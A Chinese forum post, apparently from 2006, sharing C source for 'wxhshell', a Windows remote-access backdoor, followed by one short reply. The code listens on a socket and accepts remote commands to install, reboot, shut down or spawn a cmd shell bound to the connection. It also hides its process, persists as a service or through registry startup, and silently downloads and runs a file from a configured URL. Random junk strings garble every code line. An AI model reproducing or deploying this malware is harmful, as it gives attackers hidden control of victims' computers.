  if(DownloadFile(cmd,wsh)) ujZki.x  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); PXcpROg56  
  else ObIi$uJX  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w~EXO;L2  
  } PKR0y%Ar  
  else { cI4%z eR  
xDu11W+g  
    switch(cmd[0]) { y6'Fi(2yw  
  hA?j"y0?  
  // 帮助 5+GW% U/  
  case '?': { ics  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Phl't~k  
    break; :tM|$TZ  
  } rd\mFz-SB  
  // 安装 ;h_"5/#  
  case 'i': { 2](R}  
    if(Install()) ,JT|E~P?8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @QtJ/("&WC  
    else y-}lz#N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jK\2y|&&c  
    break; /`0*!sN*5  
    } ;C-5R U V  
  // 卸载 bK; -Xcm  
  case 'r': { mwCNfwb:  
    if(Uninstall()) Y>EwU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3mZX@h@  
    else gE JmMh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); whoz^n3NE  
    break; |Wj)kr !|  
    } pq*b"Jku1  
  // 显示 wxhshell 所在路径 q^Lj)zmnK  
  case 'p': { ;=hl!CB  
    char svExeFile[MAX_PATH]; 4r-jpVN~  
    strcpy(svExeFile,"\n\r"); >DQl&:-)t  
      strcat(svExeFile,ExeFile); N2;T\xx,  
        send(wsh,svExeFile,strlen(svExeFile),0); }_0?S0<#  
    break; JJ ,Fh .  
    } E@"+w,x)  
  // 重启 1[J&^@t[h6  
  case 'b': { R+gh 2 6e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z]Z>+|  
    if(Boot(REBOOT)) $2 Ox;+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DyG3|5s1R  
    else { B[C2uVEX:  
    closesocket(wsh); q+dY&4&u  
    ExitThread(0); ;f[Ki$7  
    } ;%]Q%7  
    break;  nq8mzI  
    } DkA cT[  
  // 关机 }{:H0)H*  
  case 'd': { O\XN/R3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )#T(2A  
    if(Boot(SHUTDOWN)) ]0xbvJ8oK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SYB } e  
    else { ]XJpy-U  
    closesocket(wsh); -'&MT :L  
    ExitThread(0); zkI\ji  
    }  o9#  
    break;  ,L\OhT  
    } :De}5BMy  
  // 获取shell rgB`< [:b  
  case 's': { )1lR;fD  
    CmdShell(wsh); p{t2pfb  
    closesocket(wsh); g!V;*[  
    ExitThread(0); W&}R7a@:<~  
    break; qeBfE  
  } z++*,2F  
  // 退出 so8isDC'9  
  case 'x': { ,/m<=`*N|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); j?+FS`a!  
    CloseIt(wsh); '+Gt+Gq+  
    break; !?Z}b.%W  
    } bh6Mh< +  
  // 离开 niFX8%<hP  
  case 'q': { hrN r i$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (".`#909  
    closesocket(wsh); 6BFtY+.y  
    WSACleanup(); w1rB"rB?  
    exit(1); g>_6O[;t%  
    break; rV"<1y:g  
        } aa.EtKl  
  } (JocnM|U  
  } Zu_m$Mx  
R8c1~'  
  // 提示信息 +AtZltM i  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vE>J@g2#  
} %^p1ax  
  } f /&Dy'OV7  
?<#6=  
  return; {|^9y]VFu  
} YCj"^RC^  
s59v* /  
// shell模块句柄 3K@dW"3  
int CmdShell(SOCKET sock) %njX'7^u  
{ ,`^B!U3m   
STARTUPINFO si; .*r ?zDV  
ZeroMemory(&si,sizeof(si)); .D-}2<z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F8Rd#^9PD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ..Zuy|?w  
PROCESS_INFORMATION ProcessInfo; O9r3^y\>I  
char cmdline[]="cmd"; \%KJ +PJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); SWz+.W{KQ"  
  return 0; q^JJ5{36e  
} oR[,?qu@f  
]sd|u[:k  
// 自身启动模式 8%_XJyg  
int StartFromService(void) I .p26  
{ 0F1 a  
typedef struct N~;=*)_VH  
{ hWJ\dwF  
  DWORD ExitStatus; dFjB &#Tl  
  DWORD PebBaseAddress; d}EGI  
  DWORD AffinityMask; aG%KiJ7KEN  
  DWORD BasePriority; 6m_Y%&   
  ULONG UniqueProcessId; MQ$[jOAqP  
  ULONG InheritedFromUniqueProcessId; y5kqnibh@  
}   PROCESS_BASIC_INFORMATION; N0O8to}V  
Gx|$A+U  
PROCNTQSIP NtQueryInformationProcess; 2IFri|;-eb  
mEa\0oPGB  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; uH^/\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yc8iT`  
#|v\UJ:Pf/  
  HANDLE             hProcess; 8Focs p2  
  PROCESS_BASIC_INFORMATION pbi; >~){KV1~  
7m~+HM\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -7fsfcGM$  
  if(NULL == hInst ) return 0; ~ k/'_1)c  
&$lz@Z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Lco JltY{5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y#{ L}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [c +[t3dz  
6H+gFXIv  
  if (!NtQueryInformationProcess) return 0; VE+Q Y9(  
^Y8?iC<+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a9j f7r1  
  if(!hProcess) return 0; Zgkk%3'^'  
g>12!2}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R+Dx#Wn I  
hk3}}jc  
  CloseHandle(hProcess); 8)s}>:}  
\rn:/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); luACdC  
if(hProcess==NULL) return 0; ?x7zYE,6  
^q-]."W]t~  
HMODULE hMod; 12U1DEd>-  
char procName[255]; 'h53:?~  
unsigned long cbNeeded;  F"FGPk  
2 DJs '"8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sMlY!3{I x  
+)k%jIi!  
  CloseHandle(hProcess); LX[<Wh_X(  
@d:TAwOI'  
if(strstr(procName,"services")) return 1; // 以服务启动 g VX  
-`sK?*[{J  
  return 0; // 注册表启动 m X{_B!j^  
} Hphvsre<  
vnwS &;-k~  
// 主模块 Jte:U*2  
int StartWxhshell(LPSTR lpCmdLine) L'B= =#  
{ s_S[iW`l=  
  SOCKET wsl; ?9'Ukw` g  
BOOL val=TRUE; lqh+yX%*  
  int port=0; ad+@2-Y  
  struct sockaddr_in door; ))- B`vi  
[vh&o-6  
  if(wscfg.ws_autoins) Install(); i%w[v_j  
2L Kpwz?  
port=atoi(lpCmdLine); .Y|5i^i9{  
C +S  
if(port<=0) port=wscfg.ws_port; )F*;7]f  
,j\1UAa  
  WSADATA data; q;a"M7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^h #0e:7<  
l&#&}3M  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   u}Kc>/AF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &v9*D`7L  
  door.sin_family = AF_INET; m%au* 0p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :Rl*64}  
  door.sin_port = htons(port); Mtxn@m{i;"  
+PT/pybA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { whFaL}2C  
closesocket(wsl); x h|NmZg  
return 1; q$IgkL  
} 1@" L  
o^HzE;L}  
  if(listen(wsl,2) == INVALID_SOCKET) { <g9@iUOI  
closesocket(wsl); ~Y;_vU  
return 1; +9Vp<(  
} 86+nFk  
  Wxhshell(wsl); X|]&K  
  WSACleanup(); Eci,];S7  
K`%{(^}.  
return 0; <;)qyP  
f-]5ZhM'  
} w K)/m`{g  
o& -c5X4  
// 以NT服务方式启动 oY Y?`<N#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lO)-QE+  
{ {jVEstP  
DWORD   status = 0; ";vP77|m7R  
  DWORD   specificError = 0xfffffff; xn1=@0 a  
&4]~s:F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; nG B jxhl  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *Y"j 0Yob  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )GgO=J:o  
  serviceStatus.dwWin32ExitCode     = 0; `]*BDSvE  
  serviceStatus.dwServiceSpecificExitCode = 0; gFBMARxi  
  serviceStatus.dwCheckPoint       = 0; w+ MCOAB  
  serviceStatus.dwWaitHint       = 0; %v)m&VUi%  
znVao %b  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); y*6-?@  
  if (hServiceStatusHandle==0) return; <Wz+f+HC  
7R4xJ H  
status = GetLastError(); \~ACWF7l  
  if (status!=NO_ERROR) ~:Pu Kx  
{ -XcX1_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; j)A$%xUo  
    serviceStatus.dwCheckPoint       = 0; e3YdHp  
    serviceStatus.dwWaitHint       = 0; `y%1K|Y=  
    serviceStatus.dwWin32ExitCode     = status; (j*1sk  
    serviceStatus.dwServiceSpecificExitCode = specificError; '5V#sq;Z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); I[td:9+hK@  
    return; Z#Q)a;RA  
  } >wPMJ> 2  
iD/r8_}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Adyv>T9  
  serviceStatus.dwCheckPoint       = 0; P. V #  
  serviceStatus.dwWaitHint       = 0; ~-dL #;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;R#:? r;t  
} B^{87YR  
k-~HUC.A.  
// 处理NT服务事件,比如:启动、停止 (";{@a %  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |N^z=g P[  
{ ?M02|8-  
switch(fdwControl) "?[7oI}c&  
{ $ 2/T]  
case SERVICE_CONTROL_STOP: (l~3~n  
  serviceStatus.dwWin32ExitCode = 0; @qGg=)T  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; y%9Q]7&=  
  serviceStatus.dwCheckPoint   = 0; x?|C-v  
  serviceStatus.dwWaitHint     = 0; P@RUopu,i  
  { uI'g]18Hi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W@:a3RJ  
  } g;M\4o  
  return; GNv5yWQ@  
case SERVICE_CONTROL_PAUSE: $1(FN+ M b  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m4@f&6x  
  break; /nX+*L}d/  
case SERVICE_CONTROL_CONTINUE: *C0gpEf9S  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .x^`y2'U  
  break; N]p|c3D  
case SERVICE_CONTROL_INTERROGATE: qtv>`:neB  
  break; X?F$jX|c  
}; l imzDQ^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~6hG"t]:  
} E?& x5?  
!iOuIYjV  
// 标准应用程序主函数 h0N*hx   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r7I,%}k  
{ M~G1ZB  
yL&_>cV  
// 获取操作系统版本 i>M*ubWE4@  
OsIsNt=GetOsVer(); B1&H5gxgN  
GetModuleFileName(NULL,ExeFile,MAX_PATH); oc2aE:>X  
<?TJ-   
  // 从命令行安装 Qbc62qFu!  
  if(strpbrk(lpCmdLine,"iI")) Install(); _n3Jf<Y  
mQ9%[U,  
  // 下载执行文件 wmNc)P4  
if(wscfg.ws_downexe) { h=3156M  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p,?8s%  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;'Pi(TA)  
} .2xp.i{  
=f)S=0UF  
if(!OsIsNt) { by {G{M`X  
// 如果时win9x,隐藏进程并且设置为注册表启动 X-Sso9/q.  
HideProc(); /WDz;,X  
StartWxhshell(lpCmdLine); o(W|BD!  
} cVZCBcKC?  
else ]`D(/l'  
  if(StartFromService()) ifu "e_^  
  // 以服务方式启动 !U"1ZsO)l  
  StartServiceCtrlDispatcher(DispatchTable); tPS.r.0#^  
else J! 4l-.-  
  // 普通方式启动 Ne]/ sQ0  
  StartWxhshell(lpCmdLine); VA _O0y2  
?l_>rSly5  
return 0; }P$48o VY  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五